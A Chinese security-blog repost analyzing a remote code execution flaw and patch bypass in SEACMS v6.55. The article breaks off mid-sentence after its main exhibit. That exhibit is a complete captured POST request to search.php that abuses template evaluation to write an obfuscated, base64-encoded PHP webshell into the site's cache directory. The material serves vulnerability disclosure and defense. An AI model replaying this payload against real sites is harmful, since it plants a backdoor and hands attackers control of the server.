记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

海洋CMS(SEACMS)v6.55执行任意代码漏洞及其补丁绕过方法

2017-10-22 07:15

海洋CMS(SEACMS)v6.55执行任意代码漏洞及其补丁绕过方法

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。
海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。
官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。
随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1317
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchword={if{searchpage:year}&searchtype=5&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_p&9[]=ut_contents('./data/cache/wee.&9[]=php',base&9[]=64_decode('PD9waHAgCiRsZz0iWlRack5HdGZhMlJyaXJaV3RpcmphMjlyWkdpcnRsaXJJaWs3Q2lSelluQWdQaXJTQWtkaXJtSnNLQ2lySmpkSGNpTENJaUxDSmpkSGlyZGppclkzUjNjaXJtVmpkSGRoZEdOMGQyVmpkSGRmWm1OMGQzVnVpclkyTiI7CiR2cT0iSUFva2RXWTlpckluTnVZek1pT3dva2EyRTlpcklrbEZRbXhraXJiVVppYzBzaU93aXJva2NHcDBpclBTSkRVbVpWUlRsVVZraXJZaU93b2tkbUpzSUQwZ2MzUnlYM0psY0d4aFkyVW9pckluaXJScElpd2lJaXdpZEciOwokamogPSBzdHJfcmVwbGFjZSgicGMiLCIiLCJwY3NwY3RycGNfcGNycGNlcGNwbHBjYWNwY2UiKTsKJHJrZj0ibHpkR2xpcjBkR2x5ZEdsZmNpcm5ScFpYUnBjR3gwaXJhV0YwaXJhV05sSWlrN0NpUnBjWGM5SWtZMlkybGtaRWlydFVjejBpT3dva1ltaXJ0bUlpckRpcjBnSkhaaWJDZ2lheUlzSUNJaUxDaXJBaWEySmhhM05yIjsKJHFpPSIwZDNSamRIZHBiMk4wZDJpcjRpS1RzS2lySkcxd2VTQTlJQ1J6WW5Bb0p5Y3NJQ1JpYTJZb0pIWmliQ2dpWWlJc0lDSWlMaXJDQWthMkV1SkhpckJpcnFkQzRrZFdZdUpHbHhkeWtpcnBLVHNnSkcxd2VTZ3BPd289IjsKJG5zeCA9ICRqaigiZGQiLCAiIiwgImJkZGFzZGRlZGQ2ZGQ0ZGRfZGRkZGRlZGRjZGRvZGRkZGRlIik7CiRpZmwgPSAkamooImVmIiwiIiwiZWZjcmVhdGVmZV9lZmZlZnVlZm5lZmNlZnRpZWZvZWZuIik7CiRqZXogPSAkaWZsKCcnLCAkbnN4KCRqaigiaXIiLCAiIiwgJHZxLiRya2YuJGxnLiRxaSkpKTsgJGpleigpOwo/Pg=='));ec&9[]=ho(md5(123));exit;

可以看到,攻击

知识来源: blog.jowto.com/?p=278

阅读:325618 | 评论:0 | 标签:Web安全 cms 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“海洋CMS(SEACMS)v6.55执行任意代码漏洞及其补丁绕过方法”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词